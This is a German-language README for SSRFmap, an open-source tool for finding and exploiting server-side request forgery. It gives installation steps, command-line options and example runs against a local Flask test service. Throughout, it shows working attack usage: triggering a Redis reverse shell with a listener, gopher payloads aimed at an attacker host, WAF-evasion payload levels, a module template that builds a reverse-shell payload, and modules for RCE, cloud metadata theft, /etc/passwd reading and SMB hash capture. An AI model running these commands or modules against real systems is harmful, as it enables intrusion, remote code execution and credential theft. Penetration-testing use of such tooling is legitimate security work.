
Automatisches SSRF-Fuzzer- und Exploitation-Tool
SSRFs werden oft genutzt, um Aktionen auf anderen Diensten auszuführen. Dieses Framework zielt darauf ab, diese Dienste einfach zu finden und auszunutzen. SSRFmap nimmt eine Burp-Request-Datei als Eingabe sowie einen Parameter, der getestet werden soll.
Server Side Request Forgery (SSRF) ist eine Sicherheitslücke, bei der ein Angreifer einen Server zwingt, Anfragen in seinem Namen durchzuführen.
Die folgenden Module sind bereits implementiert und können mit dem Argument -m verwendet werden.
Vom GitHub-Repository.
$ git clone https://github.com/swisskyrepo/SSRFmap
$ cd SSRFmap/
$ pip3 install -r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
[-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
[--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
optional arguments:
-h, --help show this help message and exit
-r REQFILE SSRF Request file
-p PARAM SSRF Parameter to target
-m MODULES SSRF Modules to enable
-l HANDLER Start an handler for a reverse shell
-v [VERBOSE] Enable verbosity
--lhost LHOST LHOST reverse shell or IP to target in the network
--lport LPORT LPORT reverse shell or port to target in the network
--uagent USERAGENT User Agent to use
--ssl [SSL] Use HTTPS without verification
--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)
--level [LEVEL] Level of test to perform (1-5, default: 1)
Docker
$ git clone https://github.com/swisskyrepo/SSRFmap
$ docker build --no-cache -t ssrfmap .
$ docker run -it ssrfmap ssrfmap.py [OPTIONS]
$ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
Zuerst benötigst du eine Anfrage mit einem zu fuzzenden Parameter. Burp-Anfragen funktionieren gut mit SSRFmap. Sie sollten wie folgt aussehen. Weitere Beispiele findest du im Ordner ./examples.
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1
url=https%3A%2F%2Fwww.google.fr
Verwende -m gefolgt vom Modulnamen (getrennt durch ein ,, wenn du mehrere Module starten möchtest).
# Starte einen Portscan auf localhost und lese Standarddateien
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan
Wenn du in einen Header, einen GET- oder POST-Parameter injecten möchtest, musst du nur den Parameternamen angeben
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test
Wenn du einen benutzerdefinierten User-Agent benötigst, verwende --uagent. Einige Ziele verwenden HTTPS, du kannst es mit --ssl aktivieren.
# Starte einen Portscan gegen einen HTTPS-Endpunkt mit einem benutzerdefinierten User-Agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
Einige Module erlauben es dir, einen Connect-Back zu erstellen. Du musst LHOST und LPORT angeben. SSRFmap kann auch auf die eingehende Reverse Shell lauschen.
# Auslösen einer Reverse Shell auf einem Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
# -l erstellt einen Listener für die Reverse Shell auf dem angegebenen Port
# --lhost und --lport funktionieren wie in Metasploit; diese Werte werden verwendet, um ein Reverse-Shell-Payload zu erstellen
Wenn das Ziel durch eine WAF oder einige Filter geschützt ist, kannst du eine breite Palette von Payloads und Kodierungen mit dem Parameter --level ausprobieren.
# --level: Fähigkeit, Payloads anzupassen, um einige IDS/WAF zu umgehen. z.B.: 127.0.0.1 -> [::] -> 0000: -> ...
Eine schnelle Möglichkeit, das Framework zu testen, kann mit dem SSRF-Dienst data/example.py durchgeführt werden.
Lokal
FLASK_APP=examples/example.py flask run &
python ssrfmap.py -r examples/request.txt -p url -m readfiles
Docker
docker build --no-cache -t ssrfmap .
# Starte den SSRF-HTTP-Beispieldienst
docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
# Starte den SSRF-DNS-Beispieldienst
docker exec -u root:root -it example python examples/ssrf_dns.py
# Starte das SSRFmap-Tool
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
Starte die Testanfragen:
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
Ich ❤️ Pull-Requests :) Füge gerne jede unten aufgeführte Funktion oder einen neuen Dienst hinzu.
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
Der folgende Code ist eine Vorlage, falls du ein Modul hinzufügen möchtest, das mit einem Dienst interagiert.
from core.utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]
class exploit():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__(self, requester, args):
logging.info("Module '{}' launched !".format(name))
# Handle args for reverse shell
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
else: self.SERVER_HOST = args.lhost
if args.lport == None: self.SERVER_PORT = input("Server Port:")
else: self.SERVER_PORT = args.lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list("127.0.0.1", args.level)
for ip in gen_host:
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher(data, ip , port)
# Handle args for reverse shell
payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
# Send the payload
r = requester.do_request(args.param, payload)
Du kannst auch mit einem Bier IRL oder über den GitHub Sponsor Button beitragen.
| Name | Beschreibung |
|---|
axfr | DNS-Zonentransfers (AXFR) |
fastcgi | FastCGI RCE |
redis | Redis RCE |
github | GitHub Enterprise RCE < 2.8.7 |
zabbix | Zabbix RCE |
mysql | MySQL-Befehlsausführung |
postgres | PostgreSQL-Befehlsausführung |
docker | Docker Infoleaks über API |
smtp | SMTP-E-Mail versenden |
portscan | Scannt die oberen 8000 Ports des Hosts |
networkscan | HTTP-Ping-Sweep über das Netzwerk |
readfiles | Dateien wie /etc/passwd lesen |
alibaba | Dateien vom Anbieter lesen (z. B. meta-data, user-data) |
aws | Dateien vom Anbieter lesen (z. B. meta-data, user-data) |
gce | Dateien vom Anbieter lesen (z. B. meta-data, user-data) |
digitalocean | Dateien vom Anbieter lesen (z. B. meta-data, user-data) |
socksproxy | SOCKS4-Proxy |
smbhash | Erzwingt eine SMB-Authentifizierung über einen UNC-Pfad |
tomcat | Brute-Force-Angriff auf Tomcat Manager |
custom | Senden von benutzerdefinierten Daten an einen lauschenden Dienst, z. B. netcat |
memcache | Daten in der Memcache-Instanz speichern |